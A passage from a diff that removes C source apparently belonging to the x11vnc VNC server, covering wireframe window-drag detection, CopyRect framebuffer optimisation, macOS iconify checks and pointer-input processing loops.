- sraRgnDestroy(r1);
-
- if (sent_copyrect) {
- if (use_batch) {
- ;
- } else if (! obscured) {
- fb_push_wait(0.1, FB_COPY);
- } else {
- /* no diff for now... */
- fb_push_wait(0.1, FB_COPY);
- }
- ncache_post_portions(*nidx, use_batch,
- now_x, now_y, orig_w, orig_h, x, y, w, h, batch_delay, ntim);
- }
-if (ncdb) fprintf(stderr, "do_COPY: %.4f -- post_portion done.\n", dnow() - ntim);
-}
-
-void check_macosx_iconify(Window orig_frame, Window frame, int flush) {
-#ifdef MACOSX
- static double last = 0.0;
- double now;
- int j, m = 5, idx = -1, ok = 0, unmapped = 0;
-
- if (! macosx_console) {
- return;
- }
-
- now = dnow();
- if (now < last + 0.3) {
- return;
- }
- last = now;
-
- if (ncache > 0 && orig_frame != None) {
- idx = lookup_win_index(orig_frame);
- if (idx >= 0) {
- if (cache_list[idx].map_state == IsUnmapped) {
-if (0) fprintf(stderr, "FAW orig_frame unmapped.\n");
- unmapped = 1;
- m = 3;
- }
- }
- }
-
- if (unmapped) {
- ;
- } else if (orig_frame && macosxCGS_follow_animation_win(orig_frame, -1, 0)) {
- if (0) fprintf(stderr, "FAW orig_frame %d\n", (int) orig_frame);
- } else if (0 && frame && macosxCGS_follow_animation_win(frame, -1, 0)) {
- if (0) fprintf(stderr, "FAW frame %d\n", (int) frame);
- }
- for (j=0; j<m; j++) {
- macosxCGS_get_all_windows();
- if (macosx_checkevent(NULL)) {
- ok = 1;
- if (0) fprintf(stderr, "Check Event 1\n");
- } else {
- if (0) fprintf(stderr, "Check Event 0\n");
- }
- if (ok) {
- break;
- }
- usleep(10 * 1000);
- }
- if (ok) {
- if (flush) {
- fb_push_wait(0.1, FB_COPY|FB_MOD);
- }
- check_ncache(0, 2);
- }
-#else
- if (!orig_frame || !frame || !flush) {}
-#endif
-}
-
-void check_macosx_click_frame(void) {
-#ifdef MACOSX
- if (macosx_console) {
-if (0) fprintf(stderr, "macosx_click_frame: 0x%x\n", macosx_click_frame);
- check_macosx_iconify(macosx_click_frame, None, 0);
- macosx_click_frame = None;
- if (button_mask && !macosx_checkevent(NULL)) {
- check_macosx_iconify(None, None, 0);
- }
- }
-#endif
-}
-
-int clipped(int idx);
-void snap_old(void);
-
-int check_copyrect_raise(int idx, Window orig_frame, int try_batch) {
- char *no = "none";
- int doraise = 1;
- int valid;
- XWindowAttributes attr;
-
- if (! ncache_wf_raises) {
- doraise = 0;
- no = "ncache_wf_raises";
- } else if (cache_list[idx].bs_time == 0.0) {
- doraise = 0;
- no = "bs_time";
- } else if (0 && cache_list[idx].vis_state == VisibilityUnobscured) {
- doraise = 0;
- no = "VisibilityUnobscured";
- } else if (!clipped(idx)) {
- doraise = 0;
- no = "!clipped()";
- }
- if (doraise) {
- int nr = 0, *nb = NULL;
-if (ncdb) fprintf(stderr, "--YES, wf_raise\n");
- if (try_batch) {
- nb = &nr;
- }
- valid = 1;
- bs_restore(idx, nb, NULL, &attr, 0, 1, &valid, 1);
- try_to_fix_su(orig_frame, idx, 0x1, nb, NULL);
- if (nb && nr) {
- batch_push(nr, -1.0);
- }
- fb_push(); /* XXX Y */
- } else {
-if (ncdb && no) fprintf(stderr, "--NO, wf_raise: %s\n", no);
- }
- if (ncache_wf_raises) {
- snapshot_stack_list(0, 0.0);
- snap_old();
- }
- return 1;
-}
-
-int set_copyrect_drag(int idx, Window orig_frame, int try_batch) {
- if (idx < 0) {
- return 0;
- }
- if (cache_list[idx].su_time > 0.0) {
- check_copyrect_raise(idx, orig_frame, try_batch);
- return 1;
- }
- return 0;
-}
-
-/*
- * Applied just before any check_user_input() modes. Look for a
- * ButtonPress; find window it happened in; find the wm frame window
- * for it; watch for that window moving or resizing. If it does, do the
- * wireframe animation. Do this until ButtonRelease or timeouts occur.
- * Remove wireframe.
- *
- * Under -nowirecopyrect, return control to base scheme
- * (check_user_input() ...) that will repaint the screen with the window
- * in the new postion or size. Under -wirecopyrect, apply rfbDoCopyRect
- * or rfbDoCopyRegion: this "pollutes" our framebuffer, but the normal
- * polling will quickly repair it. Under happy circumstances, this
- * reduces actual XShmGetImage work (i.e. if we correctly predicted how
- * the X fb has changed.
- *
- * -scale doesn't always work under -wirecopyrect, but the wireframe does.
- *
- * testing of this mode under -threads is incomplete.
- *
- * returns 1 if it did an animation, 0 if no move/resize triggers
- * went off.
- *
- * TBD: see if we can select StructureNotify ConfigureNotify events for
- * the toplevel windows to get better info on moves and resizes.
- */
-int check_wireframe(void) {
- Window frame = None, orig_frame = None;
- XWindowAttributes attr;
- int dx, dy;
-
- int orig_px, orig_py, orig_x, orig_y, orig_w, orig_h;
- int px, py, x, y, w, h;
- int box_x, box_y, box_w, box_h;
- int orig_cursor_x, orig_cursor_y, g, gd;
- int already_down = 0, win_gone = 0, win_unmapped = 0;
- double spin = 0.0, tm, last_ptr = 0.0, last_draw;
-
- int frame_changed = 0, drew_box = 0, got_2nd_pointer = 0;
- int try_copyrect_drag = 1, do_copyrect_drag = -1;
- int now_x = 0, now_y = 0, nidx = -1;
- double copyrect_drag_delay = -1.0;
- int try_batch = 1; /* XXX Y */
- int mac_skip = 0;
-
- int special_t1 = 0, break_reason = 0, last_draw_cnt = 0, gpi = 0;
- static double first_dt_ave = 0.0;
- static int first_dt_cnt = 0;
- static time_t last_save_stacklist = 0;
- int bdown0, bdown, gotui, cnt = 0;
-
- /* heuristics: */
- double first_event_spin = wireframe_t1;
- double frame_changed_spin = wireframe_t2;
- double max_spin = wireframe_t3;
- double min_draw = wireframe_t4;
- int try_it = 0;
- DB_SET
-
- if (unixpw_in_progress) return 0;
- if (copyrect_drag_delay) {}
-
-#ifdef MACOSX
- if (macosx_console) {
- ;
- } else {
- RAWFB_RET(0)
- }
-#else
- RAWFB_RET(0)
-#endif
-
- if (nofb) {
- return 0;
- }
- if (subwin) {
- return 0; /* don't even bother for -id case */
- }
-
-if (db > 1 && button_mask) fprintf(stderr, "check_wireframe: bm: %d gpi: %d\n", button_mask, got_pointer_input);
-
- bdown0 = 0;
- if (button_mask) {
- bdown0 = 1;
- } else if (wireframe_local && display_button_mask) {
- bdown0 = 2;
- }
- if (! bdown0) {
- return 0; /* no button pressed down */
- }
-
- gotui = 0;
- if (got_pointer_input) {
- gotui = 1;
- } else if (wireframe_local && display_button_mask) {
- gotui = 2;
- }
- if (!use_threads && !gotui) {
- return 0; /* need ptr input, e.g. button down, motion */
- }
-
-if (db > 1) fprintf(stderr, "check_wireframe: %d\n", db);
-
-if (db) fprintf(stderr, "\n*** button down!! x: %d y: %d\n", cursor_x, cursor_y);
-
- /*
- * Query where the pointer is and which child of the root
- * window. We will assume this is the frame the window manager
- * makes when it reparents the toplevel window.
- */
- X_LOCK;
- if (! get_wm_frame_pos(&px, &py, &x, &y, &w, &h, &frame, NULL)) {
-if (db) fprintf(stderr, "NO get_wm_frame_pos-1: 0x%lx\n", frame);
- X_UNLOCK;
-#ifdef MACOSX
- check_macosx_click_frame();
-#endif
- return 0;
- }
- X_UNLOCK;
-
- last_get_wm_frame_time = dnow();
- last_get_wm_frame = frame;
-
-if (db) fprintf(stderr, "a: %d wf: %.3f A: %d origfrm: 0x%lx\n", w*h, wireframe_frac, (dpy_x*dpy_y), frame);
-
- /*
- * apply the percentage size criterion (allow opaque moves for
- * small windows)
- */
- if ((double) w*h < wireframe_frac * (dpy_x * dpy_y)) {
-if (db) fprintf(stderr, "small window %.3f\n", ((double) w*h)/(dpy_x * dpy_y));
- return 0;
- }
-if (db) fprintf(stderr, " frame: x: %d y: %d w: %d h: %d px: %d py: %d fr: 0x%lx\n", x, y, w, h, px, py, frame);
-
- /*
- * see if the pointer is within range of the assumed wm frame
- * decorations on the edge of the window.
- */
-
- try_it = near_wm_edge(x, y, w, h, px, py);
-
- /* Often Alt+ButtonDown starts a window move: */
- if (! try_it && wireframe_mod_state()) {
- try_it = 1;
- }
- if (try_it && clipshift) {
- sraRegionPtr r1, r2;
- int xc = off_x + coff_x;
- int yc = off_y + coff_y;
- r1 = sraRgnCreateRect(x, y, x+w, y+h);
- r2 = sraRgnCreateRect(xc, yc, xc+dpy_x, yc+dpy_y);
- if (!sraRgnAnd(r1, r2)) {
-if (db) fprintf(stderr, "OUTSIDE CLIPSHIFT\n");
- try_it = 0;
- }
- sraRgnDestroy(r1);
- sraRgnDestroy(r2);
- }
- if (! try_it) {
-if (db) fprintf(stderr, "INTERIOR\n");
-#ifdef MACOSX
- check_macosx_click_frame();
-#endif
- return 0;
- }
-
- wireframe_in_progress = 1;
-
- if (button_mask_prev) {
- already_down = 1;
- }
-
- if (! wireframe_str || !strcmp(wireframe_str, WIREFRAME_PARMS)) {
- int link, latency, netrate;
- static int didmsg = 0;
-
- link = link_rate(&latency, &netrate);
- if (link == LR_DIALUP || link == LR_BROADBAND) {
- /* slow link, e.g. dialup, increase timeouts: */
- first_event_spin *= 2.0;
- frame_changed_spin *= 2.0;
- max_spin *= 2.0;
- min_draw *= 1.5;
- if (link == LR_DIALUP) {
- max_spin *= 1.2;
- min_draw *= 1.7;
- }
- if (! didmsg) {
- rfbLog("increased wireframe timeouts for "
- "slow network connection.\n");
- rfbLog("netrate: %d KB/sec, latency: %d ms\n",
- netrate, latency);
- didmsg = 1;
- }
- }
- }
-
- /*
- * pointer() should have snapped the stacking list for us, if
- * not, do it now (if the XFakeButtonEvent has been flushed by
- * now the stacking order may be incorrect).
- */
- if (strcmp(wireframe_copyrect, "never")) {
- if (already_down) {
- double age = 0.0;
- /*
- * see if we can reuse the stack list (pause
- * with button down)
- */
- if (stack_list_num) {
- int k, got_me = 0;
- for (k = stack_list_num -1; k >=0; k--) {
- if (frame == stack_list[k].win) {
- got_me = 1;
- break;
- }
- }
- if (got_me) {
- age = 1.0;
- }
- snapshot_stack_list(0, age);
- }
- }
- if (! stack_list_num) {
- snapshot_stack_list(0, 0.0);
- }
- }
-
-
- /* store initial parameters, we look for changes in them */
- orig_frame = frame;
- orig_px = px; /* pointer position */
- orig_py = py;
- orig_x = x; /* frame position */
- orig_y = y;
- orig_w = w; /* frame size */
- orig_h = h;
-
- orig_cursor_x = cursor_x;
- orig_cursor_y = cursor_y;
-
- /* this is the box frame we would draw */
- box_x = x;
- box_y = y;
- box_w = w;
- box_h = h;
-
- dtime0(&tm);
-
- last_draw = spin;
-
- /* -threads support for check_wireframe() is rough... crash? */
- if (use_threads) {
- /* purge any stored up pointer events: */
- pointer_event(-1, 0, 0, NULL);
- }
-
- if (cursor_noshape_updates_clients(screen)) {
- try_batch = 0;
- }
- if (rotating) {
- try_batch = 0;
- }
- if (use_threads && ncache > 0 && ncache_copyrect) {
- try_batch = 0;
- }
-
- g = got_pointer_input;
- gd = got_local_pointer_input;
-
- while (1) {
-
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
-
- /* try to induce/waitfor some more user input */
- if (use_threads) {
- usleep(1000);
- } else if (drew_box && do_copyrect_drag != 1) {
- rfbPE(1000);
- } else {
- rfbCFD(1000);
- }
- if (bdown0 == 2) {
- /*
- * This is to just update display_button_mask
- * which will also update got_local_pointer_input.
- */
- check_x11_pointer();
-#if 0
- /* what was this for? */
- Window frame;
- int px, py, x, y, w, h;
-#ifdef MACOSX
- if (macosx_console) {
- macosx_get_cursor_pos(&x, &y);
- }
- else
-#endif
- get_wm_frame_pos(&px, &py, &x, &y, &w, &h, &frame, NULL);
-#endif
- }
-
- cnt++;
- spin += dtime(&tm);
-
-if (0) fprintf(stderr, "wf-spin: %.3f\n", spin);
-
- /* check for any timeouts: */
- if (frame_changed) {
- double delay;
- /* max time we play this game: */
- if (spin > max_spin) {
-if (db || db2) fprintf(stderr, " SPIN-OUT-MAX: %.3f\n", spin);
- break_reason = 1;
- break;
- }
- /* watch for pointer events slowing down: */
- if (special_t1) {
- delay = max_spin;
- } else {
- delay = 2.0* frame_changed_spin;
- if (spin > 3.0 * frame_changed_spin) {
- delay = 1.5 * delay;
- }
- }
- if (spin > last_ptr + delay) {
-if (db || db2) fprintf(stderr, " SPIN-OUT-NOT-FAST: %.3f\n", spin);
- break_reason = 2;
- break;
- }
- } else if (got_2nd_pointer) {
- /*
- * pointer is moving, max time we wait for wm
- * move or resize to be detected
- */
- if (spin > frame_changed_spin) {
-if (db || db2) fprintf(stderr, " SPIN-OUT-NOFRAME-SPIN: %.3f\n", spin);
- break_reason = 3;
- break;
- }
- } else {
- /* max time we wait for any pointer input */
- if (spin > first_event_spin) {
-if (db || db2) fprintf(stderr, " SPIN-OUT-NO2ND_PTR: %.3f\n", spin);
- break_reason = 4;
- break;
- }
- }
-
- gpi = 0;
- /* see if some pointer input occurred: */
- if (got_pointer_input > g ||
- (wireframe_local && (got_local_pointer_input > gd))) {
-
-if (db) fprintf(stderr, " ++pointer event!! [%02d] dt: %.3f x: %d y: %d mask: %d\n",
- got_2nd_pointer+1, spin, cursor_x, cursor_y, button_mask);
-
- g = got_pointer_input;
- gd = got_local_pointer_input;
- gpi = 1;
-
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
-
- /* periodically try to let the wm get moving: */
- if (!frame_changed && got_2nd_pointer % 4 == 0) {
- if (got_2nd_pointer == 0) {
- usleep(50 * 1000);
- } else {
- usleep(25 * 1000);
- }
- }
- got_2nd_pointer++;
- last_ptr = spin;
-
- /*
- * see where the pointer currently is. It may
- * not be our starting frame (i.e. mouse now
- * outside of the moving window).
- */
- frame = 0x0;
- X_LOCK;
-
- if (! get_wm_frame_pos(&px, &py, &x, &y, &w, &h,
- &frame, NULL)) {
- frame = 0x0;
-if (db) fprintf(stderr, "NO get_wm_frame_pos-2: 0x%lx\n", frame);
- }
-
- if (frame != orig_frame) {
- /* see if our original frame is still there */
- if (!valid_window(orig_frame, &attr, 1)) {
- X_UNLOCK;
- /* our window frame went away! */
- win_gone = 1;
-if (db) fprintf(stderr, "FRAME-GONE: 0x%lx\n", orig_frame);
- break_reason = 5;
- break;
- }
- if (attr.map_state == IsUnmapped) {
- X_UNLOCK;
- /* our window frame is now unmapped! */
- win_unmapped = 1;
-if (db) fprintf(stderr, "FRAME-UNMAPPED: 0x%lx\n", orig_frame);
- break_reason = 5;
- break;
- }
-
-if (db) fprintf(stderr, "OUT-OF-FRAME: old: x: %d y: %d px: %d py: %d 0x%lx\n", x, y, px, py, frame);
-
- /* new parameters for our frame */
- x = attr.x; /* n.b. rootwin is parent */
- y = attr.y;
- w = attr.width;
- h = attr.height;
- }
- X_UNLOCK;
-
-if (db) fprintf(stderr, " frame: x: %d y: %d w: %d h: %d px: %d py: %d fr: 0x%lx\n", x, y, w, h, px, py, frame);
-if (db) fprintf(stderr, " MO,PT,FR: %d/%d %d/%d %d/%d\n", cursor_x - orig_cursor_x, cursor_y - orig_cursor_y, px - orig_px, py - orig_py, x - orig_x, y - orig_y);
-
- if (frame_changed && frame != orig_frame) {
-if (db) fprintf(stderr, "CHANGED and window switch: 0x%lx\n", frame);
- }
- if (frame_changed && px - orig_px != x - orig_x) {
-if (db) fprintf(stderr, "MOVED and diff DX\n");
- }
- if (frame_changed && py - orig_py != y - orig_y) {
-if (db) fprintf(stderr, "MOVED and diff DY\n");
- }
-
- /* check and see if our frame has been resized: */
- if (!frame_changed && (w != orig_w || h != orig_h)) {
- int n;
- if (!already_down) {
- first_dt_ave += spin;
- first_dt_cnt++;
- }
- n = first_dt_cnt ? first_dt_cnt : 1;
- frame_changed = 2;
-
-if (db) fprintf(stderr, "WIN RESIZE 1st-dt: %.3f\n", first_dt_ave/n);
- }
-
- /* check and see if our frame has been moved: */
- if (!frame_changed && (x != orig_x || y != orig_y)) {
- int n;
- if (!already_down) {
- first_dt_ave += spin;
- first_dt_cnt++;
- }
- n = first_dt_cnt ? first_dt_cnt : 1;
- frame_changed = 1;
-if (db) fprintf(stderr, "FRAME MOVE 1st-dt: %.3f\n", first_dt_ave/n);
- }
- }
-
- /*
- * see if it is time to draw any or a new wireframe box
- */
-
- if (frame_changed) {
- int drawit = 0;
- if (x != box_x || y != box_y) {
- /* moved since last */
-if (0) fprintf(stderr, "DRAW1 %d %d\n", x - box_x, y - box_y);
- drawit = 1;
- } else if (w != box_w || h != box_h) {
- /* resize since last */
- drawit = 1;
- }
- if (drawit) {
- int doit = 0;
- /*
- * check time (to avoid too much
- * animations on slow machines
- * or links).
- */
- if (gpi) {
- if (spin > last_draw + min_draw || ! drew_box) {
- doit = 1;
- }
- if (macosx_console && doit && !mac_skip) {
- if (x != box_x && y != box_y && w != box_w && h != box_h) {
- doit = 0;
- } else if (!button_mask) {
- doit = 0;
- }
- mac_skip++;
- }
- } else {
- if (drew_box && cnt > last_draw_cnt) {
- doit = 1;
-if (0) fprintf(stderr, "*** NO GPI DRAW_BOX\n");
- }
- }
-
- if (doit) {
- if (try_copyrect_drag && ncache > 0) {
- if (!ncache_copyrect) {
- do_copyrect_drag = 0;
- } else if (w != box_w || h != box_h) {
- do_copyrect_drag = 0;
- } else if (do_copyrect_drag < 0) {
- Window fr = orig_frame;
- int idx = lookup_win_index(fr);
- if (idx < 0) {
- fr = frame;
- idx = lookup_win_index(fr);
- }
- if (idx >= 0) {
- do_copyrect_drag = set_copyrect_drag(idx, fr, try_batch);
- if (do_copyrect_drag) {
- min_draw *= 0.66;
- }
- nidx = idx;
- } else {
- do_copyrect_drag = 0;
- }
- now_x = orig_x;
- now_y = orig_y;
- }
- if (do_copyrect_drag) {
- if (orig_w != w || orig_h != h) {
- do_copyrect_drag = 0;
- }
- }
- }
-
- if (do_copyrect_drag <= 0) {
- if (ncache <= 0) {
- ;
- } else if (!drew_box && ncache_wf_raises) {
- Window fr = orig_frame;
- int idx = lookup_win_index(fr);
- if (idx < 0) {
- fr = frame;
- idx = lookup_win_index(fr);
- }
- if (idx >= 0) {
- check_copyrect_raise(idx, fr, try_batch);
- }
- }
- draw_box(x, y, w, h, 0);
- fb_push(); /* XXX Y */
- rfbPE(1000);
- } else {
-#ifndef NO_NCACHE
- int tb = use_threads ? 0 : try_batch;
- do_copyrect_drag_move(orig_frame, frame, &nidx,
- tb, now_x, now_y, orig_w, orig_h, x, y, w, h,
- copyrect_drag_delay);
- now_x = x;
- now_y = y;
- if (copyrect_drag_delay == -1.0) {
- copyrect_drag_delay = 0.04;
- }
-#endif
- }
- drew_box = 1;
- last_wireframe = dnow();
-
- last_draw = spin;
- last_draw_cnt = cnt;
- }
- }
- box_x = x;
- box_y = y;
- box_w = w;
- box_h = h;
- }
-
- /*
- * Now (not earlier) check if the button has come back up.
- * we check here to get a better location and size of
- * the final window.
- */
- bdown = 0;
- if (button_mask) {
- bdown = 1;
- } else if (wireframe_local && display_button_mask) {
- bdown = 2;
- }
- if (! bdown) {
-if (db || db2) fprintf(stderr, "NO button_mask\n");
- break_reason = 6;
- break;
- }
- }
-
- if (! drew_box) {
- /* nice try, but no move or resize detected. cleanup. */
- if (stack_list_num) {
- stack_list_num = 0;
- }
- wireframe_in_progress = 0;
- if (macosx_console && (break_reason == 6 || break_reason == 5)) {
- check_macosx_iconify(orig_frame, frame, drew_box);
- }
- return 0;
- }
-
- /* remove the wireframe */
- if (do_copyrect_drag <= 0) {
- draw_box(0, 0, 0, 0, 1);
- fb_push(); /* XXX Y */
- } else {
- int tb = use_threads ? 0 : try_batch;
- do_copyrect_drag_move(orig_frame, frame, &nidx,
- tb, now_x, now_y, orig_w, orig_h, x, y, w, h, -1.0);
- fb_push_wait(0.15, FB_COPY|FB_MOD);
- }
-
- dx = x - orig_x;
- dy = y - orig_y;
-
- /*
- * see if we can apply CopyRect or CopyRegion to the change:
- */
- if (!strcmp(wireframe_copyrect, "never")) {
- ;
- } else if (win_gone || win_unmapped) {
- ;
- } else if (skip_cr_when_scaling("wireframe")) {
- ;
- } else if (w != orig_w || h != orig_h) {
- if (ncache > 0) {
- try_to_fix_resize_su(orig_frame, orig_x, orig_y, orig_w, orig_h, x, y, w, h, try_batch);
- X_LOCK;
- clear_win_events(orig_frame, 1);
- if (frame != orig_frame) {
- clear_win_events(frame, 1);
- }
- X_UNLOCK;
- }
- } else if (dx == 0 && dy == 0) {
- ;
- } else if (do_copyrect_drag > 0) {
- X_LOCK;
- clear_win_events(NPP_nwin, 0);
- X_UNLOCK;
- } else {
- int spin_ms = (int) (spin * 1000 * 1000);
- int obscured, sent_copyrect = 0;
-
- int nidx = -1;
- int use_batch = 0;
- double ntim;
-
- /*
- * set a timescale comparable to the spin time,
- * but not too short or too long.
- */
- if (spin_ms < 30) {
- spin_ms = 30;
- } else if (spin_ms > 400) {
- spin_ms = 400;
- }
- ntim = dnow();
-
- /* try to flush the wireframe removal: */
-if (ncdb && ncache) fprintf(stderr, "\nSEND_COPYRECT %.4f %.4f\n", dnowx(), dnow() - ntim);
-
- if (! fb_push_wait(0.15, FB_COPY|FB_MOD)) {
-
-if (ncdb && ncache) fprintf(stderr, "FB_COPY *FAILED*, try one more... %.4f", dnow() - ntim);
-
- if (! fb_push_wait(0.15, FB_COPY|FB_MOD)) {
-
-if (ncdb && ncache) fprintf(stderr, "FB_COPY *FAILED* again! %.4f", dnow() - ntim);
-
- }
- }
-
- ncache_pre_portions(orig_frame, frame, &nidx, try_batch, &use_batch,
- orig_x, orig_y, orig_w, orig_h, x, y, w, h, ntim);
-
- /* 2) try to send a clipped copyrect of translation: */
-
- if (! try_batch) {
- sent_copyrect = try_copyrect(orig_frame, frame, x, y, w, h, dx, dy,
- &obscured, NULL, 0.15, NULL);
- } else {
- try_copyrect(orig_frame, frame, x, y, w, h, dx, dy,
- &obscured, NULL, 0.15, &NPP_nreg); /* XXX */
- sent_copyrect = 1;
- use_batch = 1;
- }
-
-if ((ncache || db) && ncdb) fprintf(stderr, "sent_copyrect: %d - obs: %d frame: 0x%lx\n", sent_copyrect, obscured, frame);
- if (sent_copyrect) {
- /* try to push the changes to viewers: */
- if (use_batch) {
- ;
- } else if (! obscured) {
- fb_push_wait(0.1, FB_COPY);
- } else {
- /* no diff for now... */
- fb_push_wait(0.1, FB_COPY);
- }
- ncache_post_portions(nidx, use_batch,
- orig_x, orig_y, orig_w, orig_h, x, y, w, h, -1.0, ntim);
- X_LOCK;
- clear_win_events(NPP_nwin, 0);
- X_UNLOCK;
-
- if (scaling && !use_batch) {
- static double last_time = 0.0;
- double now = dnow(), delay = 0.35;
-
- fb_push_wait(0.1, FB_COPY);
-
- if (now > last_time + delay) {
- int xt = x, yt = y;
-
- if (clipshift) {
- xt -= coff_x;
- yt -= coff_y;
- }
- if (subwin) {
- xt -= off_x;
- yt -= off_y;
- }
-
- scale_mark(xt, yt, xt+w, yt+h, 1);
- last_time = now;
- last_copyrect_fix = now;
- }
- }
- }
- }
-
- if (stack_list_num) {
- /* clean up stack_list for next time: */
- if (break_reason == 1 || break_reason == 2) {
- /*
- * save the stack list, perhaps the user has
- * paused with button down.
- */
- last_save_stacklist = time(NULL);
- } else {
- stack_list_num = 0;
- }
- }
-
- /* final push (for -nowirecopyrect) */
- rfbPE(1000);
- wireframe_in_progress = 0;
-
- if (1) {
- /* In principle no longer needed... see draw_box() */
- if (frame_changed && cmap8to24 /* && multivis_count */) {
- /* handle -8to24 kludge, mark area and check 8bpp... */
- int x1, x2, y1, y2, f = 16;
- x1 = nmin(box_x, orig_x) - f;
- y1 = nmin(box_y, orig_y) - f;
- x2 = nmax(box_x + box_w, orig_x + orig_w) + f;
- y2 = nmax(box_y + box_h, orig_y + orig_h) + f;
- x1 = nfix(x1, dpy_x);
- x2 = nfix(x2, dpy_x+1);
- y1 = nfix(y1, dpy_y);
- y2 = nfix(y2, dpy_y+1);
- if (0) {
- check_for_multivis();
- mark_rect_as_modified(x1, y1, x2, y2, 0);
- } else {
- if (1) {
- bpp8to24(x1, y1, x2, y2);
- } else {
- bpp8to24(0, 0, dpy_x, dpy_y);
- }
- }
- }
- }
-
- urgent_update = 1;
- if (use_xdamage) {
- /* DAMAGE can queue ~1000 rectangles for a move */
- clear_xdamage_mark_region(NULL, 1);
- xdamage_scheduled_mark = dnow() + 2.0;
- }
-
- if (macosx_console && (break_reason == 6 || break_reason == 5)) {
- check_macosx_iconify(orig_frame, frame, drew_box);
- }
-
- return 1;
-}
-
-/*
- * We need to handle user input, particularly pointer input, carefully.
- * This function is only called when non-threaded. Note that
- * rfbProcessEvents() only processes *one* pointer event per call,
- * so if we interlace it with scan_for_updates(), we can get swamped
- * with queued up pointer inputs. And if the pointer inputs are inducing
- * large changes on the screen (e.g. window drags), the whole thing
- * bogs down miserably and only comes back to life at some time after
- * one stops moving the mouse. So, to first approximation, we are trying
- * to eat as much user input here as we can using some hints from the
- * duration of the previous scan_for_updates() call (in dt).
- *
- * note: we do this even under -nofb
- *
- * return of 1 means watch_loop should short-circuit and reloop,
- * return of 0 means watch_loop should proceed to scan_for_updates().
- * (this is for pointer_mode == 1 mode, the others do it all internally,
- * cnt is also only for that mode).
- */
-
-static void check_user_input2(double dt) {
-
- int eaten = 0, miss = 0, max_eat = 50, do_flush = 1;
- int g, g_in;
- double spin = 0.0, tm;
- double quick_spin_fac = 0.40;
- double grind_spin_time = 0.175;
-
- dtime0(&tm);
- g = g_in = got_pointer_input;
- if (!got_pointer_input) {
- return;
- }
- /*
- * Try for some "quick" pointer input processing.
- *
- * About as fast as we can, we try to process user input calling
- * rfbProcessEvents or rfbCheckFds. We do this for a time on
- * order of the last scan_for_updates() time, dt, but if we stop
- * getting user input we break out. We will also break out if
- * we have processed max_eat inputs.
- *
- * Note that rfbCheckFds() does not send any framebuffer updates,
- * so is more what we want here, although it is likely they have
- * all be sent already.
- */
- while (1) {
- if (show_multiple_cursors) {
- rfbPE(1000);
- } else {
- rfbCFD(1000);
- }
- rfbCFD(0);
-
- spin += dtime(&tm);
-
- if (spin > quick_spin_fac * dt) {
- /* get out if spin time comparable to last scan time */
- break;
- }
- if (got_pointer_input > g) {
- int i, max_extra = max_eat / 2;
- g = got_pointer_input;
- eaten++;
- for (i=0; i<max_extra; i++) {
- rfbCFD(0);
- if (got_pointer_input > g) {
- g = got_pointer_input;
- eaten++;
- } else if (i > 1) {
- break;
- }
- }
- X_LOCK;
- do_flush = 0;
-if (0) fprintf(stderr, "check_user_input2-A: XFlush %.4f\n", tm);
- XFlush_wr(dpy);
- X_UNLOCK;
- if (eaten < max_eat) {
- continue;
- }
- } else {
- miss++;
- }
- if (miss > 1) { /* 1 means out on 2nd miss */
- break;
- }
- }
- if (do_flush) {
- X_LOCK;
-if (0) fprintf(stderr, "check_user_input2-B: XFlush %.4f\n", tm);
- XFlush_wr(dpy);
- X_UNLOCK;
- }
-
-
- /*
- * Probably grinding with a lot of fb I/O if dt is this large.
- * (need to do this more elegantly)
- *
- * Current idea is to spin our wheels here *not* processing any
- * fb I/O, but still processing the user input. This user input
- * goes to the X display and changes it, but we don't poll it
- * while we "rest" here for a time on order of dt, the previous
- * scan_for_updates() time. We also break out if we miss enough
- * user input.
- */
- if (dt > grind_spin_time) {
- int i, ms, split = 30;
- double shim;
-
- /*
- * Break up our pause into 'split' steps. We get at
- * most one input per step.
- */
- shim = 0.75 * dt / split;
-
- ms = (int) (1000 * shim);
-
- /* cutoff how long the pause can be */
- if (split * ms > 300) {
- ms = 300 / split;
- }
-
- spin = 0.0;
- dtime0(&tm);
-
- g = got_pointer_input;
- miss = 0;
- for (i=0; i<split; i++) {
- usleep(ms * 1000);
- if (show_multiple_cursors) {
- rfbPE(1000);
- } else {
- rfbCFD(1000);
- }
- spin += dtime(&tm);
- if (got_pointer_input > g) {
- int i, max_extra = max_eat / 2;
- for (i=0; i<max_extra; i++) {
- rfbCFD(0);
- if (got_pointer_input > g) {
- g = got_pointer_input;
- } else if (i > 1) {
- break;
- }
- }
- X_LOCK;
-if (0) fprintf(stderr, "check_user_input2-C: XFlush %.4f\n", tm);
- XFlush_wr(dpy);
- X_UNLOCK;
- miss = 0;
- } else {
- miss++;
- }
- g = got_pointer_input;
- if (miss > 2) {
- break;
- }
- if (1000 * spin > ms * split) {
- break;
- }
- }
- }
-}
-
-static void check_user_input3(double dt, double dtr, int tile_diffs) {
-
- int allowed_misses, miss_tweak, i, g, g_in;
- int last_was_miss, consecutive_misses;
- double spin, spin_max, tm, to, dtm;
- int rfb_wait_ms = 2;
- static double dt_cut = 0.075;
- int gcnt, ginput;
- static int first = 1;
-
- if (dtr || tile_diffs) {} /* unused vars warning: */
-
- if (first) {
- char *p = getenv("SPIN");
- if (p) {
- double junk;
- sscanf(p, "%lf,%lf", &dt_cut, &junk);
- }
- first = 0;
- }
-
- if (!got_pointer_input) {
- return;
- }
-
-
- if (dt < dt_cut) {
- dt = dt_cut; /* this is to try to avoid early exit */
- }
- spin_max = 0.5;
-
- spin = 0.0; /* amount of time spinning */
- allowed_misses = 10; /* number of ptr inputs we can miss */
- miss_tweak = 8;
- last_was_miss = 0;
- consecutive_misses = 1;
- gcnt = 0;
- ginput = 0;
-
- dtime0(&tm);
- to = tm; /* last time we did rfbPE() */
-
- g = g_in = got_pointer_input;
-
- while (1) {
- int got_input = 0;
-
- gcnt++;
-
- if (button_mask) {
- drag_in_progress = 1;
- }
-
- rfbCFD(rfb_wait_ms * 1000);
-
- dtm = dtime(&tm);
- spin += dtm;
-
- if (got_pointer_input == g) {
- if (last_was_miss) {
- consecutive_misses++;
- }
- last_was_miss = 1;
- } else {
- ginput++;
- if (ginput % miss_tweak == 0) {
- allowed_misses++;
- }
- consecutive_misses = 1;
- last_was_miss = 0;
- }
-
- if (spin > spin_max) {
- /* get out if spin time over limit */
- break;
-
- } else if (got_pointer_input > g) {
- /* received some input, flush to display. */
- got_input = 1;
- g = got_pointer_input;
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- } else if (--allowed_misses <= 0) {
- /* too many misses */
- break;
- } else if (consecutive_misses >=3) {
